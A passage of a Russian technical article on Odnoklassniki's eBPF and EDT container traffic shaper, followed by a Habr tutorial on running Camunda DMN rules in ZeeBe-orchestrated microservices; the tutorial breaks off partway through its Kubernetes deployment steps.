На данный момент практически все сетевые карты серверного уровня имеют несколько очередей, которые позволяют распределить нагрузку по обработке пакетов между несколькими ядрами процессора. Дисциплина mq позволяет на каждую очередь сетевой карты назначать свой дочерний qdisc.
Схема работы дисциплины mqКлассификация пакета (определение в какой дочерний qdisc он попадет) происходит неблокирующим образом. В дисциплине mq очередь выбирается как хэш flowid пакета по модулю числа очередей. Где flowid – набор из protocol, src ip, dst ip, src port, dst port.
Использование flowid позволяет избежать изменения порядка пакетов (reordering) из одного соединения вследствие отправки пакетов через разные очереди сетевой карты. Для TCP и многих UDP протоколов reordering может привести к ненужным пересылкам пакетов и снижению производительности.
У каждой очереди сетевой карты свой qdisc, и они друг с другом никак не взаимодействуют. Обработка пакетов в дочерних qdisc происходит параллельно без глобальной синхронизации, что увеличивает производительность, но ограничивает возможности по управлению трафиком рамками одной подочереди.
Если трафик контейнера будет распределяться по разным очередям, то его нельзя будет ограничить. Поэтому, чтобы использовать mq с ограничением скорости трафика контейнеров, трафик каждого контейнера нужно загнать в одну очередь сетевой карты. Для очереди настроить qdisc, лимитирующий скорость этого контейнера.
Переопределить выбор очереди для mq (и других дисциплин) можно, устанавливая у пакета атрибут `queue_mapping` до того, как он попадет в qdisc. Один из вариантов, как это сделать – фильтр пакетов с действием [skbedit](https://man7.org/linux/man-pages/man8/tc-skbedit.8.html). Дисциплина mq будет использовать значение `queue_mapping` как номер очереди вместо хэша от flowid.
Схема один qdisc на контейнер (мы так делать не будем)Хотя такое решение будет работать, в нем есть несколько недостатков. Во-первых, оно приведёт к деградации производительности, так как обработка пакетов одного контейнера будет производиться одним ядром процессора. Во-вторых, число контейнеров будет ограничено числом очередей сетевой карты, что не всегда приемлемо (часть карт в наших ДЦ имеют всего по 8 очередей).
В-третьих, вместо глобальной блокировки мы получили бы блокировку на каждый контейнер, что конечно сильно лучше, но не исключит проблему для контейнеров, генерирующих много трафика. Поэтому мы стали искать другое решение.
Earliest Departure Time и дисциплина fq
---------------------------------------
В Linux Kernel было внесено [изменение](https://lwn.net/ml/netdev/20180921155154.49489-1-edumazet@google.com/) (оно присутствует в ядрах 4.20 и выше), которое позволило задавать для каждого исходящего пакета самое ранее время отправки (earliest departure time или **EDT**). Это время затем учитывается дисциплиной [fq](https://man7.org/linux/man-pages/man8/tc-fq.8.html) как время, раньше которого пакет нельзя отправлять на сетевую карту.
Дисциплина fq хранит неотправленные пакеты в виде набора FIFO очередей. Одна FIFO-очередь соответствует одному flow. Как и в случае с mq, flow определяется набором из protocol, src ip, dst ip, src port, dst port. Пакеты одного flow отсылаются всегда в порядке поступления. Предполагается, что в рамках одного flow EDT пакетов не уменьшается – в противном случае соблюдение EDT не будет гарантировано. Но это требование вполне логичное, так как с точки зрения приоритизации сетевого трафика пакеты одного соединения относятся к одному классу и нет необходимости менять их порядок.
Те flow, время отправки пакетов в которых еще не наступило, хранятся в дереве ожидающих отправки flows. В нем flows отсортированы по EDT первого пакета в flow. Как только EDT наступает, flow переносится в связанный список готовых к отправке flows. В этом списке flow обрабатываются в порядке round-robin по циклам (dequeue rounds). За каждый такой цикл из одного flow отправляется пакетов суммарной длиной не более quantum байт (задается параметром fq). После чего цикл переходит к следующему flow. Если очередной пакет из flow имеет EDT в будущем, то этот flow переносится в дерево ожидающих отправки flows.
Независимо от того, в какую очередь и, соответственно, дочернюю дисциплину fq попал пакет, он будет отправлен в соответствии с установленным в нем EDT. Т.е. больше нет требования иметь ровно одну дисциплину fq на контейнер. Например, можно распределять пакеты дисциплиной mq по дочерним fq и получить очень хороший параллелизм – у 10G карт Intel серий X500 и X700, которые мы используем, по 64 очереди, а на некоторых серверах стоит несколько таких карт.
Поделив длину пакета на скорость, мы получим минимальное время, через которое мы можем отправить следующий пакет, не превышая заданную скорость. Таким образом, получаем следующую формулу для расчета EDT следующего пакета:
`EDT = время + длина_пакета / скорость`
Остается вопрос – как проставлять EDT?
### BPF спешит на помощь
Тут на помощь приходит технология eBPF (или просто BPF). Тем, кто не знаком с ней, рекомендую почитать [вводную статью на Хабре](https://habr.com/ru/post/514736/). Программа на BPF типа **BPF\_PROG\_TYPE\_SCHED\_CLS** может перехватывать все исходящие пакеты до того, как они поступят в qdisc. Программа получает на вход указатель на структуру [\_\_sk\_buff](https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/tree/include/uapi/linux/bpf.h?h=v5.13#n5092), описывающую пакет, которая содержит в том числе:
* `wire_len`: длина пакета в байтах
* `tstamp`: собственно, Earliest Departure Time
Получается, можно реализовать BPF шейпер, который будет проставлять пакетам EDT. Далее они будут поступать в mq и затем в соответствующий fq qdisc, который будет отправлять пакет в заданное время:
Лимитирование трафика на основе BPF, EDT и fqДанный подход [применяет](https://netdevconf.info/0x14/session.html?talk-replacing-HTB-with-EDT-and-BPF) Google для шейпинга исходящего во внешний мир трафика. Также он [реализован](https://cilium.io/blog/2020/11/10/cilium-19#bandwidth-manager) как часть [Cilium](https://cilium.io/) – сетевого data-plane для Kubernetes на базе BPF.
Упрощенный пример расчета EDT внутри BPF кода:
```
skb->tstamp = max(now, t_next);
t_next = skb->tstamp + skb->wire_len * NSEC_PER_SEC / upper_limit_bps;
```
Здесь `now` – текущее время, `t_next` – EDT в наносекундах следующего пакета, которое мы запоминаем в состоянии программы, `upper_limit_bps` – скорость в байтах/секунду.
### Защита от переполнения очереди
Чтобы очередь не переполнилась, нужно ограничивать добавление новых пакетов в случаях, когда трафик превышает лимит в течение долгого времени. Заметим, что у fq уже есть понятие [drop horizon](https://www.spinics.net/lists/netdev/msg745885.html) – дисциплина дропает пакеты, EDT которых выходит далеко в будущее. Но нам придётся реализовать drop horizon самим для того, чтобы правильно учесть факт дропа при расчете `t_next`. Для этого из BPF программы достаточно вернуть код `TC_ACT_SHOT` (в нормальной ситуации возвращаем `TC_ACT_OK`):
```
#define DROP_HORIZON 1000000000ULL // 1 секунда
skb->tstamp = max(now, t_next);
if (skb->tstamp - now > DROP_HORIZON) return TC_ACT_SHOT;
t_next = skb->tstamp + skb->wire_len * NSEC_PER_SEC / upper_limit_bps;
return TC_ACT_OK;
```
### Bursting
Сила BPF — в возможности реализовывать произвольную логику, а не ограничиваться возможностями встроенных сетевых дисциплин. Например, можно реализовать bursting – разрешать превышать лимит в течение короткого интервала времени. Поскольку bursting не возникает одновременно на всех контейнерах, это можно сделать достаточно безопасно. Мы нашли оптимальным включение burst в течение 5мс для prod задач – это позволило снизить сетевую задержку для некоторых сервисов до 30%. Добавить bursting в наш BPF шейпер очень просто:
```
#define DROP_HORIZON 1000000000ULL // 1 секунда
#define BURST 5000000ULL // 5 мс
skb->tstamp = max(now - BURST, t_next);
if (t_next - now > DROP_HORIZON) return TC_ACT_SHOT;
t_next = skb->tstamp + skb->wire_len * NSEC_PER_SEC / upper_limit_bps;
return TC_ACT_OK;
```
### Доводим BPF шейпер до ума
Для реализации полноценного шейпера на BPF предстоит сделать еще несколько вещей:
* **Хранение состояния** `t_next` и настроек `upper_limit_bps` для каждого класса трафика. Это делается с помощью `BPF_MAP_TYPE_ARRAY`. Про BPF maps можно почитать в [документации BPF на сайте Cilium](https://docs.cilium.io/en/v1.8/bpf/).
* **Классификация пакета** – каждому классу соответствует свое состояние `t_next` и настройка `upper_limit_bps`. Для классификации мы используем поля с IP адресом и TOS из заголовка пакета. Отображение IP+TOS на класс трафика хранится в `BPF_MAP_TYPE_HASH`. Парсинг заголовков пакетов нужно реализовывать самим. Это, наверное, самая сложная часть нашего BPF шейпера. С другой стороны, в интернете есть масса [примеров](https://github.com/xdp-project/xdp-tutorial/blob/master/common/parsing_helpers.h), как это можно сделать, поэтому не будем это подробно разбирать.
* **Синхронизация**. Поскольку доступ к `t_next` делается из многих потоков, он должен быть синхронизирован. Но для этого можно обойтись без блокировок – достаточно объявить `t_next` как `volatile`, чтобы обеспечить синхронизацию процессорных кэшей при операциях чтения и записи. Вероятность того, что другой поток успеет прочитать устаревшее значение, достатоточно мала, и для данной задачи ей можно пренебречь. Именно так и поступает Cilium (код [тут](https://github.com/cilium/cilium/blob/master/bpf/lib/edt.h#L36) и [тут](https://github.com/cilium/cilium/blob/master/bpf/include/bpf/compiler.h#L99)).
* **Control plane**. Заполнением перечисленных выше BPF maps занимается user space демон, который у нас называется «миньон». Он написан на Java, для доступа к возможностям BPF из Java мы используем библиотеку [one-nio](https://github.com/odnoklassniki/one-nio).
* **Статистика**. В BPF мы считаем число отправленных/дропнутых пакетов, их длину в байтах, гистограмму задержки EDT. Статистика складывается в `BPF_MAP_TYPE_PERCPU_ARRAY` и читается раз в секунду из user space демона, который пересылает ее в агрегированном виде в подсистему статистики.
Пока наш шейпер умеет только ограничивать скорость, но нам нужно удовлетворить два других требования – приоритизацию и link sharing.
Приоритизация дисциплиной mqprio
--------------------------------
Требование приоритизации означает, что все пакеты prod контейнеров должны быть отправлены на сетевую карту до того, как начнётся отправка nonprod пакетов (при условии, что их EDT уже наступило). В этом нам может помочь дисциплина mqprio.
Дисциплина [mqprio](https://man7.org/linux/man-pages/man8/tc-mqprio.8.html) расширяет mq возможностью определить набор классов (traffic class), а также и каждому из них назначить диапазон очередей сетевой карты. При отправке через дисциплину пакеты делятся сначала по классам, затем – по соответствующим этому классу очередям на основании хэша от flowid пакета.
Нам нужно настроить в mqprio два traffic class – для prod и для nonprod трафика, а также поделить очереди сетевой карты между ними. Классификация пакетов происходит на основе поля priority сетевого пакета, которое может принимать значения 0–15. При настройке mqprio передается параметр map, в котором перечисляются traffic class для каждого возможного значения priority.
Изначально Linux заполняет поле priority пакета на основании поля ToS IP заголовка пакета. Как именно он это делает, можно почитать [тут](http://linux-tc-notes.sourceforge.net/tc/doc/priority.txt). Для нас это особой роли не играет, так как мы это поле выставляем сами в нашей BPF программе. Для prod трафика (traffic class 0) мы используем приоритеты `TC_PRIO_INTERACTIVE=6` и `TC_PRIO_CONTROL=7`, остальной трафик считаем nonprod (traffic class 1). Получаем значение параметра `map 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 1`
После классификации пакета BPF программа выставляет `skb->priority = TC_PRIO_INTERACTIVE` для prod трафика и`TC_PRIO_BESTEFFORT` для nonprod. Дисциплина mqprio на основе приоритета определяет traffic class и направляет пакет в соответствующую очередь:
Лимитирование и приоритизация трафика с помощью BPF, mqprio, EDT и fq### Приоритизация на сетевой карте
Дисциплина mqprio также умеет настраивать поддержку приоритизации со стороны сетевой карты (hardware QoS), которая включается параметром hw 1. Это позволяет добиться практически идеальной приоритизации – по результатам тестов влияние nonprod на prod полностью отсутствовало.
Однако с этим возникли сложности:
* Во-первых, часть карт старых моделей не поддерживало данную возможность.
* Во-вторых, на картах Intel X700 возник конфликт настроек.
Подробности под катомдля поддержки HW QoS нужно было включить DCB в firmware карты, который включался только вместе со встроенным в карту LLDP, а он в свою очередь мешал работе SW реализации LLDP, необходимой нам для интеграции с другими системами.
* В-третьих, на Intel картах поддержку hardware QoS нельзя включить одновременно с [XDP](https://docs.cilium.io/en/v1.8/bpf/#xdp) native mode, который мы планируем использовать для других задач (балансировщика нагрузки).
Получалось, что включение hardware QoS в датацентрах потребовало бы заменить сетевые карты на 30% машин и отказаться от возможности в будущем использовать XDP.
Забегая немного вперёд – помимо исходящего трафика нам нужно шейпить также и входящий. А на виртуальном интерфейсе ifb поддержка hardware приоритизации не работает в принципе.
**Поэтому мы стали искать способ приоритизации, который сможет работать без hardware QoS.**
### Приоритизация без поддержки со стороны карты
Заметим, что даже без hardware QoS сам факт разделения nonprod и prod трафика по разным очередям сетевой карты снижает влияние nonprod на prod. В случае, если они не разделены по очередям (как было в нашем старом решении), после того как пакеты отправлены в сетевую карту, там могут возникнуть свои задержки из-за кратковременной заполненности полосы или по другим причинам. В результате получается ситуация, когда в одной очереди карты перемешаны пакеты разных приоритетов, а отправка их происходит в том порядке, в котором они были получены, т.к. повторной приоритизации в этой очереди нет, что влечёт рост задержки prod задач.
В итоге мы пришли к следующему решению: делить очереди для prod и nonprod трафика в пропорции 7:1. Т.е. даем prod трафику в 7 раз больше очередей. Например, если на сетевой карте восемь очередей, даем семь prod и одну – nonprod трафику. Это позволяет снизить вероятность конкуренции prod и nonprod пакетов за физическую полосу карты, т.к. отправкой prod пакетов занимается в 7 раз больше очередей. В такой конфигурации в нагрузочных тестах с использованием iperf максимальное влияние nonprod трафика на задержку prod задач составило не более 15%.
Дополнительно мы ограничиваем лимит nonprod задач так, чтобы общая утилизация сетевой карты не превышала 80%, потому что согласно нашим наблюдениям, при превышении этого порога начинается деградация latency даже на серверах без шейпинга. Это позволило ещё сильнее уменьшить влияние – на реальных задачах оно не превышает 5%, что нас вполне устраивает. И это решение оставляет возможность включить hardware QoS, если это когда-то будет необходимо.
Настройка сетевой подсистемы
----------------------------
Для полноты приведем команды для настройки BPF шейпера. Для этого нам понадобятся утилиты [ethtool](https://man7.org/linux/man-pages/man8/ethtool.8.html) и [tc](https://man7.org/linux/man-pages/man8/tc.8.html).
Определим число очередей на сетевой карте с помощью ethtool:
```
ethtool -l eth1
```
`Channel parameters for eth1:
Pre-set maximums:
RX: 0
TX: 0
Other: 1
Combined: 63
Current hardware settings:
RX: 0
TX: 0
Other: 1
Combined: 56`
На карте настроено 56 очередей (смотрим значение Combined). Настраиваем mqprio, отдав 49 очередей prod трафику, 7 – nonprod:
```
tc qdisc add dev eth1 handle 1 root mqprio num_tc 2 map 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 1 queues 49@0 7@49
```
Заменяем дочерние qdisc (которые по умолчанию – pfifo\_fast) на fq. Поднимаем лимиты числа пакетов, так как защита от переполнения очереди уже есть в BPF:
```
tc qdisc replace dev eth1 parent 1:0x1 fq limit 100000 flow_limit 100000
tc qdisc replace dev eth1 parent 1:0x2 fq limit 100000 flow_limit 100000
...
tc qdisc replace dev eth1 parent 1:0x38 fq limit 100000 flow_limit 100000
```
Добавляем clsact qdisc для возможности вешать tc фильтры на исходящие пакеты:
```
tc qdisc add dev eth1 clsact
```
Загружаем скомпилированную в ELF файл BPF программу как фильтр исходящих пакетов:
```
tc filter add dev eth1 egress bpf obj net-shaper.bpf.o sec tc_out da
```
Параметр da (direct-action) нужен для возможности дропать пакеты: результат BPF программы интерпретируется как действие над пакетом.
Разделение полосы nonprod
-------------------------
Контейнеры с уровнем изоляции nonprod могут использовать всю свободную полосу вплоть до 80% пропускной способности сетевой карты за вычетом среднего потребления prod задач. В случае, если nonprod контейнеров несколько, для разделения полосы между ними мы используем [алгоритм max-min fair share](https://www.ece.rutgers.edu/~marsic/Teaching/CCN/minmax-fairsh.html).
Идея алгоритма следующая. Представим, что нам нужно поделить между тремя задачами – A, B и C полосу 900 Мбит/с. Самое простое – поделить поровну: получаем разбиение 300+300+300. Теперь представим, что нам известна **желаемая доля** трафика каждой задачи, и ей нет смысла давать больше. Допустим, желаемая доля A – 200 Мбит/с. Нам нужно уменьшить долю задачи A с 300 до 200, поделив разницу в 100 Мбит/с между B и C – получаем разбиение 200+350+350. Продолжаем процесс перераспределения долей, пока доля каждой задачи не будет меньше или равна ее желаемой доле. Если по окончанию у нас осталась неиспользованная доля трафика (т.е. сумма желаемых долей меньше полосы), то делим остаток между всеми задачами поровну.
Теперь немного усложним этот алгоритм – добавим для каждой задачи вес и будем делить трафик пропорционально весам. Весом для nonprod задачи мы считаем её минимальный трафик, задаваемый в манифесте.
Алгоритм выполняется в user space демоне и рассчитывает лимит каждой nonprod задачи на следующий квант времени (1 секунда). В качестве желаемой доли трафика задачи берется ее среднее потребление за предыдущий квант времени.
### Отложенное применение лимита nonprod
У задач с низким потреблением трафика рассчитанная по алгоритму доля будет низкой. Но, если в следующую секунду задача захочет потребить больше, то упрется в лимит, и мы не узнаем ее реальное желаемое потребление. Получается проблема «курицы и яйца»: лимит зависит от потребления задачи, которое ограничено лимитом. Чтобы разорвать этот круг, мы не применяем рассчитанный лимит к задаче, пока её утилизация ниже 80% от лимита. Таким образом, задачи со скачкообразным изменением трафика могут сразу получить свою честную долю.
С другой стороны, это означает, что суммарное потребление всех задач может кратковременно превысить порог в 80% от пропускной способности сетевой карты, которого мы хотим придерживаться. Но поскольку мы разделили prod и nonprod трафик по разным очередям, существенного влияния на задержку prod задач это не оказывает.
Шейпинг входящего трафика
-------------------------
До этого речь была только про исходящий трафик. Но входящий трафик тоже нужно шейпить. Для входящего трафика мы используем точно такой же подход, как для исходящего. Отличие состоит лишь в том, что сетевые дисциплины и фильтр с BPF программой настраиваются не на сетевом интерфейсе, а на виртуальном интерфейсе ifbX, создаваемом модулем [ifb](https://wiki.linuxfoundation.org/networking/ifb), на который переадресуются входящие пакеты.
Входящий и исходящий трафик шейпятся отдельными BPF программами, алгоритм max-min fair share и статистика по ним считаются независимо.
Не обошлось без подводных камней – после включения шейпинга входящего трафика перестала работать синхронизация времени через ntpd. Как выяснилось, реализация протокола NTP использует поле `skb->tstamp` и не очень хорошо относится к его модификации. В BPF программу была добавлена проверка, чтобы не менять tstamp пакетов, относящихся к NTP (UDP пакеты с src и dst портом 123). После чего синхронизация снова заработала.
Заключение
----------
Новый шейпер развернут в наших дата-центрах на более чем 5 тыс. серверов. Через него проходит трафик всех основных сервисов Одноклассников. Полный переход на новое решение занял примерно месяц и был завершен 3 месяца назад.
Проблем деградации производительности при росте числа сетевых пакетов больше не наблюдалось. На серверах с 10-и гигабитными картами при нагрузке 2 млн пакетов/сек рост задержки prod задач остается в пределах 15% (на предыдущей версии шейпера деградация свыше 15% начиналась после 200К пакетов/сек). Также улучшилось latency prod задач – у отдельных задач до 30%.
Идею использовать EDT+fq для ограничения скорости мы взяли из [статьи](https://legacy.netdevconf.info/0x14/session.html?talk-replacing-HTB-with-EDT-and-BPF) от Google и доработали для возможности приоритизации трафика и разделения полосы.
Разработка заняла 4 месяца силами одного человека вместе с исследованиями и экспериментами.
Ссылки
------
* Статья на Хабре о нашем облаке: [One-cloud — ОС уровня дата-центра в Одноклассниках](https://habr.com/ru/company/odnoklassniki/blog/346868/)
* Статья, видео и слайды доклада про оптимизацию шейпера в Google: [Replacing HTB with EDT and BPF](https://legacy.netdevconf.info/0x14/session.html?talk-replacing-HTB-with-EDT-and-BPF)
* Вводная статья про BPF на Хабре: [BPF для самых маленьких, часть первая](https://habr.com/ru/post/514736/)
* Введение в BPF и XDP на сайте Cilium: [BPF and XDP Reference Guide](https://docs.cilium.io/en/stable/bpf/)
* Статья про использование BPF для классификации пакетов: [On getting tc classifier fully programmable with cls bpf](https://legacy.netdevconf.info/1.1/proceedings/papers/On-getting-tc-classifier-fully-programmable-with-cls-bpf.pdf)
* Еще одна статья про особенности использования eBPF для сетевых задач: [Creating Complex Network Services with eBPF: Experience and Lessons Learned](https://mbertrone.github.io/documents/18-eBPF-experience.pdf) | https://habr.com/ru/post/572206/ | null | ru | null |
# Выступает DMN, дирижирует ZeeBe: как использовать бизнес-правила в микросервисах
Меня зовут Николай Первухин, я Senior Java Developer в Райффайзенбанке. Так сложилось, что, единожды попробовав бизнес-процессы на Camunda, я стал адептом этой технологии и стараюсь ее применять в проектах со сложной логикой. Действительно сама идея подкупает: рисуешь процесс в удобном GUI-редакторе (моделлере), а фреймворк выполняет эти действия по порядку, соблюдая большой спектр элементов нотации BPMN.
К тому же в Camunda есть встроенная поддержка еще одной нотации — DMN (Decision Model and Notation): она позволяет в простой и понятной форме создавать таблицы принятия решений по входящим наборам данных.
Но чего-то все же не хватает... Может, добавим немного скорости?
### Почему ускоряем процессы
В банковской сфере бизнес-процессы широко используются там, где довольно часто встречаются длинные, с нетривиальной логикой процессы взаимодействия как с клиентом, так и между банковскими подсистемами.
Что обычно характеризует такие процессы:
* от момента создания до завершения процесса может пройти несколько дней;
* участвует большое количество сотрудников;
* осуществляется интеграция со множеством банковских подсистем.
Фреймворк Camunda прекрасно справляется с такими задачами, однако, заглянем под капот: там находится классическая база данных для осуществления транзакционности.
Но что если к логической сложности добавляется еще и требование к быстродействию? В таких случаях база данных рано или поздно становится *«узким горлышком»:* большое количество процессов начинает создавать блокировки, и это в конечном итоге приводит к замедлению.
### Отличные новости: воспользуемся ZeeBe
В июле 2019 года было официально объявлено, что после двух лет разработки фреймворк ZeeBe готов к использованию на боевой среде. ZeeBe специально разрабатывался под задачи highload и, по утверждению автора, был протестирован при 10 000 процессов в секунду. В отличие от Camunda, ядро фреймворка ZeeBe принципиально не использует базу данных — из него убраны все вспомогательные подсистемы, в том числе и процессор правил DMN.
В случаях, когда DMN все же необходим, он может быть добавлен как отдельное приложение. Именно такую архитектуру мы и рассматриваем в данной статье.
Итак, дано:
* микросервис, инициирующий событие и запускающий процесс (event-handler);
* микросервис обработки бизнес-правил (rules-engine);
* микросервис, эмулирующий действия (action).
Данные микросервисы могут быть запущены в неограниченном количестве экземпляров для того, чтобы справиться с динамической нагрузкой.
Из оркестрации у нас:
* микросервис с брокером сообщений ZeeBe (zeebe);
* микросервис визуализации работающих процессов simplemonitor (zeebe-simple-monitor).
А присматривать за всеми микросервисами будет кластер k8s.
#### Схема взаимодействия
С точки зрения бизнес-логики в примере будет рассмотрен следующий бизнес-сценарий:
* из внешней системы происходит запрос в виде rest-обращения с передачей параметров;
* запускается бизнес-процесс, который «пропускает» входящие параметры через бизнес-правило;
* в зависимости от полученного решения из бизнес-правил запускается микросервис действий с различными параметрами.
Теперь поговорим подробнее о каждом микросервисе.
#### Микросервис zeebe
Данный микросервис состоит из брокера сообщений ZeeBe и экспортера сообщений для отображения в simple-monitor. Для ZeeBe используется готовая сборка, которую [**можно скачать с github**](https://github.com/zeebe-io/zeebe/releases/download/0.25.3/zeebe-distribution-0.25.3.zip)**.** Подробно о сборке контейнера можно посмотреть [**в исходном коде в файле build.sh**](https://gitlab.com/zeebe-dmn-example/zeebe/-/blob/master/build.sh)
Принцип ZeeBe — минимальное число компонентов, входящих в ядро, поэтому по умолчанию ZeeBe — это брокер сообщений, работающий по схемам BPMN. Дополнительные модули подключаются отдельно: например, для отображения процессов в GUI понадобится экспортер (доступны разные экспортеры, к примеру, в ElasticSearch, в базу данных и т.п.).
В данном примере возьмем экспортер в Hazelcast. И подключим его:
* добавим `zeebe-hazelcast-exporter-0.10.0-jar-with-dependencies.jar` в папку exporters;
* добавим в файл `config/application.yaml`следующие настройки:
```
exporters:
hazelcast:
className: io.zeebe.hazelcast.exporter.HazelcastExporter
jarPath: exporters/zeebe-hazelcast-exporter-0.10.0-jar-with-dependencies.jar
args:
enabledValueTypes: "JOB,WORKFLOW_INSTANCE,DEPLOYMENT,INCIDENT,TIMER,VARIABLE,MESSAGE,MESSAGE_SUBSCRIPTION,MESSAGE_START_EVENT_SUBSCRIPTION"
# Hazelcast port
port: 5701
```
Данные активных процессов будут храниться в памяти, пока `simplemonitor` их не считает. Hazelcast будет доступен для подключения по порту 5701.
#### Микросервис zeebe-simplemonitor
Во фреймворке ZeeBe есть две версии GUI-интерфейса. Основная версия, Operate, обладает большим функционалом и удобным интерфейсом, однако, использование Operate ограничено специальной лицензией (доступна только версия для разработки, а лицензию для прода следует запрашивать у производителя).
Также есть облегченный вариант — `simplemonitor` ([**лицензируется по Apache License, Version 2.0**](https://github.com/zeebe-io/zeebe-simple-monitor/blob/master/LICENSE))
`Simplemonitor` можно оформить тоже в виде микросервиса, который периодически подключается к порту hazelcast брокера ZeeBe и выгружает оттуда данные в свою базу данных.
Можно выбрать любую базу данных Spring Data JDBC, в данном примере **используется файловая h2**, где настройки, как и в любом Spring Boot приложении, вынесены в `application.yml`
```
spring:
datasource:
url: jdbc:h2:file:/opt/simple-monitor/data/simple-monitor-db;DB_CLOSE_DELAY=-1
```
#### Микросервис event-handler
Это первый сервис в цепочке, он принимает данные по rest и запускает процесс. При старте сервис осуществляет поиск файлов bpmn в папке ресурсов:
```
private void deploy() throws IOException {
Arrays.stream(resourceResolver.getResources("classpath:workflow/*.bpmn"))
.forEach(resource -> {
try {
zeebeClient.newDeployCommand().addResourceStream(resource.getInputStream(), resource.getFilename())
.send().join();
logger.info("Deployed: {}", resource.getFilename());
} catch (IOException e) {
logger.error(e.getMessage(), e);
}
});
}
```
Микросервис имеет endpoint, и для простоты принимает вызовы по rest. В нашем примере передаются 2 параметра, сумма и лимит:
```
http://адрес-сервиса:порт/start?sum=100&limit=500
```
```
@GetMapping
public String getLoad(@RequestParam Integer sum, @RequestParam Double limit) throws JsonProcessingException {
Map variables = new HashMap<>();
variables.put("sum", sum);
variables.put("limit", limit);
zeebeService.startProcess(processName, variables);
return "Process started";
}
```
Следующий код отвечает за запуск процесса:
```
public void startProcess(String processName, Map variables) throws JsonProcessingException {
zeebeClient.newCreateInstanceCommand()
.bpmnProcessId(processName)
.latestVersion()
.variables(variables)
.send();
}
```
Сам процесс нарисован в специальной программе ZeeBe modeler *(почти копия редактора Camunda modeler*) и сохраняется в формате bpmn в папке workflow в ресурсах микросервиса. Графически процесс выглядит как:
У каждой задачи (*обозначаем прямоугольником на схеме*) есть свой тип задач, который устанавливается в свойствах задачи, например, для запуска правил:
Каждый дополнительный микросервис в данном примере будет использовать свой тип задач. Тип задач очень похож на очередь в Kafka: при возникновении задач к нему могут подключаться подписчики — worker’ы.
После старта процесс продвинется на один шаг, и появится сообщение типа DMN.
#### Микросервис rules-engine
Благодаря прекрасной модульной архитектуре Camunda есть возможность использовать в своем приложении (отдельно от самого фреймворка Camunda) движок правил принятия решения.
Для его интеграции с вашим приложением достаточно добавить его в зависимости maven:
```
org.camunda.bpm.dmn
camunda-engine-dmn
${camunda.version}
```
Сами правила создаются в специальном графическом редакторе Camunda modeler. Одна диаграмма DMN имеет два вида отображения.
Entity Relation Diagram (*вид сверху*) показывает зависимости правил друг от друга и от внешних параметров:
На такой диаграмме можно представить одно или несколько бизнес-правил. В текущем примере оно одно зависит от двух параметров — сумма и лимит. Представление на этой диаграмме параметров и комментариев необязательно, но является хорошим стилем оформления.
Само же бизнес-правило содержит более детальный вид:
Как видно из примера выше, бизнес-правило представляется в виде таблицы, в которой перечислены входящие и результирующие параметры. Инструмент достаточно богатый, и можно использовать различные методы сравнения, диапазоны, множества, несколько типов политик правил (первое совпадение, множественное, последовательность по диаграмме и т.п.). Такая диаграмма сохраняется в виде файла dmn.
Посмотрим на примере, где такой файл располагается в папке `dmn-models` в ресурсах микросервиса. Для регистрации диаграммы при старте микросервиса происходит его однократная загрузка:
```
public void init() throws IOException {
Arrays.stream(resourceResolver.getResources("classpath:dmn-models/*.dmn"))
.forEach(resource -> {
try {
logger.debug("loading model: {}", resource.getFilename());
final DmnModelInstance dmnModel = Dmn.readModelFromStream((InputStream) Resources
.getResource("dmn-models/" + resource.getFilename()).getContent());
dmnEngine.parseDecisions(dmnModel).forEach(decision -> {
logger.debug("Found decision with id '{}' in file: {}", decision.getKey(),
resource.getFilename());
registry.put(decision.getKey(), decision);
});
} catch (IOException e) {
logger.error("Error parsing dmn: {}", resource, e);
}
});
}
```
Для того, чтобы подписаться на сообщения от ZeeBe, требуется осуществить регистрацию worker’а:
```
private void subscribeToDMNJob() {
zeebeClient.newWorker().jobType(String.valueOf(jobWorker)).handler(
(jobClient, activatedJob) -> {
logger.debug("processing DMN");
final String decisionId = readHeader(activatedJob, DECISION_ID_HEADER);
final Map variables = activatedJob.getVariablesAsMap();
DmnDecisionResult decisionResult = camundaService.evaluateDecision(decisionId, variables);
if (decisionResult.size() == 1) {
if (decisionResult.get(0).containsKey(RESULT\_DECISION\_FIELD)) {
variables.put(RESULT\_DECISION\_FIELD, decisionResult.get(0).get(RESULT\_DECISION\_FIELD));
}
} else {
throw new DecisionException("Нет результата решения.");
}
jobClient.newCompleteCommand(activatedJob.getKey())
.variables(variables)
.send()
.join();
}
).open();
}
```
В данном коде осуществляется подписка на событие DMN, вызов модели правил при получении сообщения от ZeeBe и результат выполнения правила сохранятся обратно в бизнес-процесс в виде переменной result (константа `RESULT_DECISION_FIELD`).
Когда данный микросервис отчитывается ZeeBe о выполнении операции, бизнес-процесс переходит к следующему шагу, где происходит выбор пути в зависимости от выполнения условия, заданного в свойствах стрелочки:
#### Микросервис action
Микросервис action совсем простой. Он также осуществляет подписку на сообщения от ZeeBe, но другого типа — `action`.
В зависимости от полученного результата будет вызван один и тот же микросервис action, но с различными параметрами. Данные параметры задаются в закладке headers:
Также передачу параметров можно сделать и через закладку `Input/Output,` тогда параметры придут вместе с переменными процесса, но передача через headers является более «*каноничной*».
Посмотрим на получение сообщения в микросервисе:
```
private void subscribe() {
zeebeClient.newWorker().jobType(String.valueOf(jobWorker)).handler(
(jobClient, activatedJob) -> {
logger.debug("Received message from Workflow");
actionService.testAction(
activatedJob.getCustomHeaders().get(STATUS_TYPE_FIELD),
activatedJob.getVariablesAsMap());
jobClient.newCompleteCommand(activatedJob.getKey())
.send()
.join();
}
).open();
}
```
Здесь происходит логирование всех переменных бизнес-процесса:
```
public void testAction(String statusType, Map variables) {
logger.info("Event Logged with statusType {}", statusType);
variables.entrySet().forEach(item -> logger.info("Variable {} = {}", item.getKey(), item.getValue()));
}
```
### Исходный код
Весь исходный код прототипа [**можно найти в открытом репозитории GitLab**](https://gitlab.com/zeebe-dmn-example).
### Компиляция образов Docker
Все микросервисы проекта собираются командой `./build.sh`
Для каждого микросервиса есть различный набор действий, направленных на подготовку образов docker и загрузки этих образов в открытые репозитории hub.docker.com.
#### Загрузка микросервисов в кластер k8s
Для развертывания в кластере необходимо сделать следующие действия:
1. Создать `namespace` в кластере kubectl `create namespace zeebe-dmn-example`
2. Создать `config-map` общих настроек
```
kind: ConfigMap
apiVersion: v1
metadata:
name: shared-settings
namespace: zeebe-dmn-example
data:
shared_servers_zeebe:
```
Далее создаем два персистентных хранилища для хранения данных `zeebe` и `simplemonitor`. Это позволит осуществлять перезапуск соответствующих подов без потери информации:
